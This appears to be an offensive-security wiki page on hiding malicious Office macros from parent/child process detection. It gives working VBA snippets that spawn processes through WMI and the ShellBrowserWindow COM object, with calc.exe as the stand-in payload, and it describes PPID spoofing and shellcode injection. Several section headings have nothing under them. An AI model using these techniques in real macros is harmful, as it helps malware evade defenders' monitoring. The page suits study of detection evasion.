Dechaining Macros

Looking at the Parent/Child processes is a good indicator of malicious activity, for example MSWord spawning PowerShell is pretty suspicious. Here, we will show some techniques that can be used to evade these types of analysis.

WMI

Sub MyMacro()
    Arg = "cmd /k calc.exe"
    GetObject("winmgmts:").Get("Win32_Process").Create Arg, Null, Null, pid
End Sub
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("cmd.exe /k calc.exe", Null, objConfig, intProcessID)

This will make your process be spawned under "wmiprvse.exe."

ShellBrowserWindow

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0

This will make your process spawn from under "explorer.exe"

XMLDOM

Scheduled Tasks

Registry Keys

We can modify the registry which can serve as persistence and a way of executing your code.

WMI:

Wscript:

PPID Spoofing and Command Line Spoofing

Basically we can spoof the parent by passing an arbitrary parent process name you want to use with the CreateProcessA function. We can also spoof the command line arguments by modifying the “CommandLine” in the RTL_USER_PROCESS_PARAMETERS structure in the PEB.

The implementation in VBA is here:

Injecting Shellcode

Injecting our shellcode to a remote process can make our payload live in another process, although this is not a parent-child evasion technique, we can make our payload live in a remote process.

Template persistence

Outlook

Last updated

Was this helpful?